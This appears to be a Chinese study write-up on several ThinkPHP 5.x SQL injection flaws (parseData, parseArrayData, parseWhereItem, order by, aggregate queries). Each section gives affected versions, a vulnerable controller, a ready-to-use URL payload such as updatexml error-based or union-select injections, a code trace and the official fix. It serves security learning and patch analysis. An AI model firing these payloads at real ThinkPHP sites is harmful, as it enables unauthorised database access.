前言
以下復現均需要在application/database.php 文件中配置數據庫相關信息,並開啟 **application/config 中的 ** app_debug 和 app_trace
通過以下命令獲取測試環境代碼:
composer create-project --prefer-dist topthink/think=版本 tpdemo
將 composer.json 文件的 require 字段設置成如下,之后執行一次 composer update
"require": {
"topthink/framework": "漏洞版本"
}
ThinkPHP ParseData 方法注入
漏洞概要
本次漏洞存在於 Builder 類的 parseData 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生(insert 和update)注入,本文以insert注入為例。
洞影響版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
漏洞環境
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$level=input("level/a");
// $data=db("users")->where("id","1")->insert(["level"=>$level]);
$data=db("users")->where("id","1")->update(["level"=>$level]);
dump($data);
}
}
訪問http://yoursite/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1
即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)
漏洞分析
我們直接跟進到insert
繼續跟進$this->builder->insert
繼續跟進$this->parseData
因為我們是數組所以進入這里,然后沒有任何的過濾導致直接賦值給$result[$item]
然后我們這三種case都可以造成sql注入
但是熟悉tp3的師傅們都熟悉。I函數
接受的時候會有htmlspecialchars
和 think_filter
的過濾處理
tp5一樣也是有的filterExp
,會將我們EXP
=>EXP空格
因此就匹配不上了
回到library/db/Buider.php
中然后返回的sql語句結果為,從而造成SQL注入。
INSERT INTO `users` (`level`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+1)
最后來一張攻擊總結流程【圖來自七月火前輩】
漏洞修復
ThinkPHP ParseArrayData 方法注入
漏洞概要
本次漏洞存在於 Mysql 類的 parseArrayData 方法中由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生( update 方法注入)
影響版本:5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)
漏洞環境
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$level=input("level/a");
$data=db("users")->where("id","1")->update(["level"=>$level]);
dump($data);
}
}
訪問http://yoursite/index.php/index/index?level[0]=point&level[1]=1&level[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&level[3]=0
即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)
漏洞分析
我們直接到library/think/db/
Query類的update方法
我們繼續跟進Connection 類的 update 方法,該方法又調用了 $this->builder 的 update 方法。
我們直接跟進吧
我們又看到parseData
方法。5.0.19的SQL注入就是在這里產生的。我們跟進去看一下
parseArrayData方法代碼
protected function parseArrayData(Query $query, $data)
{
list($type, $value) = $data;
//$data是我們傳入的數組
switch (strtolower($type)) {
case 'point':
$fun = isset($data[2]) ? $data[2] : 'GeomFromText';
$point = isset($data[3]) ? $data[3] : 'POINT';
if (is_array($value)) {
$value = implode(' ', $value);
}
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
break;
default:
$result = false;
}
return $result;
}
沒有任何的過濾將我們的惡意代碼拼接了起來,所以可以構造出很多的payload
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
$result = $data[2] . '(\''. $data[3].'('.$data[1].')\')';
經過str_replace()於是我們的SQL語句就是
UPDATE `users` SET `level` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)') WHERE `id` = :where_AND_id
漏洞修復
官方比較暴力的就直接刪除了default語句塊,並直接刪除了ParseArrayData
方法。
ThinkPHP ParseWhereItem方法注入一
漏洞概要
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句。再一個, Request 類的 filterValue 方法漏過濾 NOT LIKE 關鍵字,最終導致 SQL注入漏洞 的產生(select 方法注入)
漏洞影響版本: ThinkPHP<5.0.10 [外面都說的是=5.0.10,具體原因后面會說]
漏洞環境
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = input('username/a');
$data = db('users')->where(['username' => $username])->select();
var_dump($data);
}
}
訪問http://yoursite/index.php/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
漏洞分析
老樣子因為漏洞不在where所以直接來到select方法
進入$sql = $this->builder->select($options)
再進入parseWhere
方法中的$this->buildWhere->parseWhereItem
。
這里代碼太多我就截取關鍵點說一下
因為$value是array可控,沒有過濾。所以導致拼接造成我們的SQL注入。
最后用七月火師傅的圖來總結一下
漏洞修復
官方修復在Request.php 文件的 filterValue 方法中,過濾掉 NOT LIKE 關鍵字[圖來自七月火師傅]
下圖是七月師傅所述的
七月火師傅在漏洞修復說的是5.0.10以前是不存在的是因為他把in_array
搜尋的東西搞錯了
5.0.9復現過程
所以我認為關鍵點在這里
ThinkPHP ParseWhereItem方法注入二
漏洞概要
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生( select 方法注入)
漏洞影響版本: ThinkPHP5全版本 。
漏洞環境
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username');
$data = db('users')->where('username','exp',$username)->select();
var_dump($data);
}
}
介紹一下where中的exp吧
例如下面兩條語句是完全相等的。
$map['username'] = array('in','admin,r0ser1');
$map['username'] = array('exp',' IN (admin,r0ser1) ');
訪問http://yoursite/index.php/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)%23
即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)
漏洞分析
因為都是parseWhereItem 出現的問題上面一文分析過了一些點,我們這次只看關鍵點。
漏洞修復
官方無修復,並不承認這是一個漏洞認為這是他們提供的一個功能。
ThinkPHP orderby 方法注入
漏洞概要
漏洞存在於 Builder 類的 parseOrder 方法中。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句,最終導致 SQL注入漏洞 的產生。
漏洞影響版本: 5.1.16<=ThinkPHP5<=5.1.22 。
漏洞環境
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'R0ser1'])->order($orderby)->find();
var_dump($result);
}
}
訪問http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的)
漏洞分析
漏洞出現在order嘛那我們直接看order函數。截取關鍵部分
public function order($field, $order = null) //$field是我們傳入的值
{
if (!isset($this->options['order'])) {
$this->options['order'] = [];
}
if (is_array($field)) {
//傳入的是一個數組 進行合並然后賦值給$this->option
$this->options['order'] = array_merge($this->options['order'], $field);
} else {
$this->options['order'][] = $field;
}
return $this; //返回this this包含了$field
}
然后再進入find函數,在 Connection 類的 find 方法中調用 Builder 類的 select 方法來生成 SQL 語句。相信大家對 Builder 類的 select 方法應該就不陌生了。前幾篇分析文章中都有提及這個方法。這個方法通過 str_replace 函數將數據填充到 SQL 模板語句中。這次我們要關注的是 parseOrder 方法,這個方法在新版的 ThinkPHP 中做了代碼調整,我們跟進。
在 parseOrder 方法中,我們看到程序通過 parseKey 方法給變量兩端都加上了反引號。然后直接拼接字符串返回沒有任何過濾
導致我們最終的SQL語句就是
SELECT * FROM `users` WHERE `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1
[七月火前輩總結]
漏洞修復
官方pass掉了了)
和#
,進行了修復。
ThinkPHP 聚合查詢注入
漏洞概要
本次漏洞存在於所有 Mysql 聚合函數相關方法。由於程序沒有對數據進行很好的過濾,直接將數據拼接進 SQL 語句,最終導致 SQL注入漏洞 的產生。
漏洞影響版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
不同版本 payload 需稍作調整:
5.0.0~5.0.21、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
漏洞環境
// 這里用5.0.10復現學習
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$count = input('get.count');
$res = db('users')->count($count);
var_dump($res);
}
}
聚合函數如下
訪問 http://yoursite/index/index/index?data=id),(updatexml(1,concat(0x7,user(),0x7e),1)%23
鏈接,即可觸發 SQL注入漏洞 。(沒開啟 app_debug 是無法看到 SQL 報錯信息的,當然我們也可以構造其他的語句)
例如延時注入等
漏洞分析
我們直接到count方法這里
我們發現$this->value(里面的東西沒有任何的過濾)直接拼接起來傳遞給value方法我們跟進看一下
跟到$this->builder->select方法如下
$this->parseField
$this->parseKey
返回之后都賦值給array數組,然后再通過$fieldsStr = implode(',', $array)
又把我們數組給拼接成字符串最終返回的語句如下
SELECT COUNT(id),(updatexml(1,concat(0x7,user(),0x7e),1)) AS tp_count FROM `users` LIMIT 1
最后放一個七月火師傅的總結【最后有七月火師傅的鏈接,大家可以看七月火師傅的。我也是跟着學習】
漏洞修復
官方的修復方法是:當匹配到除了 字母、點號、星號 以外的字符時,就拋出異常。
ThinkPHP 5.0.9雞肋注入
漏洞概要
為什么說是雞肋注入,因為TP5使用PDO查詢。將參數與查詢語句分離導致我們這個注入不支持子查詢。就只能利用報錯注入爆出一些內置函數。
關於這個漏洞的一些簡單思考
這里就不復現了。下面會放P牛的那篇文章,這里就寫一寫我對這個雞肋漏洞的思考吧。
除了這一個洞,上面的所有SQL注入都是可以報數據的。當然我們不能用XPATH來爆,不然就會提示。
僅僅支持常量。我們去wireshark發現在第一步預處理已經報錯不走了。
常量?何為常量,廣義來講也就是不變的量。用P牛的話來講
預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數據的 ,也就是說不會從表中將真實數據取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸數據,但類似user()這樣的數據庫函數的值還是將會編譯進SQL語句,所以這里執行並爆了出來。
因為像user() database()這就是常量因為他是庫函數。
那我們是否可以不用XPATH來爆呢。他不是提示Only constant XPATH queries are supported
當然是可以的,他回進行預處理->綁定->執行->報錯
那這個洞是到底可以不可以呢?
提示的是參數為定義。那是哪一步出的問題呢?
進入$this->query->bind發現賦值給this返回了
回到Query.php中$bind = $this->getBind();
// 獲取參數綁定
發現又返回給了bind后面預處理之后的調用了bind。
執行的時候又獲取bind當我們看wireshark或許就可以發現答案
所以到bind時候就會報錯。報參數未定義。因為這個漏洞我們利用的就是IN這里所以要加,
or)
等
參考
七月火前輩:https://github.com/Mochazz/ThinkPHP-Vuln
P牛:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html